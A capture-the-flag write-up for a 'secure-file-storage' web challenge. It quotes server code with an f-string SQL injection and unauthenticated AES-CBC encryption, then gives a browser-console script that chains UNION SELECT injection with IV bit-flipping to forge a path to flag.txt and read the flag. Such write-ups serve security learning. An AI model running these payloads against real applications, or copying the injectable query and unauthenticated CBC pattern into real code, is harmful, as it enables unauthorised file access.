#
secure-file-storageSimple SQL injection in fetch_file_db
:
def fetch_file_db(user_id,file_id):
try:
file = db.session.execute(text(f"SELECT * FROM File WHERE id = {file_id}")).first()
if file:
filepath = decrypt(file.filepath)
filename = decrypt(file.filename)
if file.user_id == user_id and filepath is not None and filename is not None:
return {"id":file.id,"filepath":filepath.decode(),"filename":filename.decode(),"title":file.title}
return False
except Exception as e:
logging.error(e)
return False
However this does not automatically give LFI because the filename and filepath are encrypted:
def encrypt(plaintext):
try:
if type(plaintext) == str:
plaintext = plaintext.encode()
cipher = AES.new(app.config["AES_KEY"], AES.MODE_CBC)
enc = cipher.encrypt(pad(plaintext, AES.block_size))
return base64.b64encode(cipher.iv+enc)
except Exception as e:
logging.error(e)
return None
The issue with this kind of encryption (known IV, known plaintext) is that the IV is embedded directly and not verified, so we can inject a new IV to fake the first 16 bytes of any encrypted field.
#
solve script1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50
async function inject(path, id) {
let res = await fetch(`https://uscybercombine-s4-web-secure-file-storage.chals.io/api/files/${path}`, {
"credentials": "include",
"headers": {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; rv:127.0) Gecko/20100101 Firefox/127.0",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8",
"Accept-Language": "en-US,en;q=0.5",
"Upgrade-Insecure-Requests": "1",
"Sec-Fetch-Dest": "document",
"Sec-Fetch-Mode": "navigate",
"Sec-Fetch-Site": "same-origin",
"Sec-Fetch-User": "?1",
"Priority": "u=1",
"Pragma": "no-cache",
"Cache-Control": "no-cache",
'Content-Type': 'application/x-www-form-urlencoded'
},
"referrer": "https://uscybercombine-s4-web-secure-file-storage.chals.io/files",
"method": "POST",
"mode": "cors",
"body": new URLSearchParams({ "file_id": id })
});
return await res.text();
}
async function field(id, field) {
return JSON.parse(await inject("info", `2 UNION SELECT null, 3, ${field}, filename, filepath FROM File WHERE id = ${id}`)).message.file;
}
function pad(string) {
let padding = 16 - string.length % 16;
for (let i = string.length; i < 16; i++) {
string += String.fromCharCode(padding);
}
return string;
}
var file = await field(392, "filename");
console.log(file);
var filename = atob(file.title);
var iv = filename.slice(0, 16);
var enc = filename.slice(16);
var padded = pad(file.filename);
var niv = Array.from("/".repeat(8) + "flag.txt")
.map((ch, i) => iv.charCodeAt(i) ^ padded.charCodeAt(i) ^ ch.charCodeAt(0))
.map(ch => String.fromCharCode(ch))
.join("");
var fake = btoa(niv + enc);
var flag = await inject("download", `2 UNION SELECT null, 3, 'FAKE', '${fake}', filepath FROM file WHERE id = 392`);
console.log(flag);
I was lazy so it is meant to run in the browser console.
#
flag: SIVUSCG{b1t_fl1pp3d_f1l3s}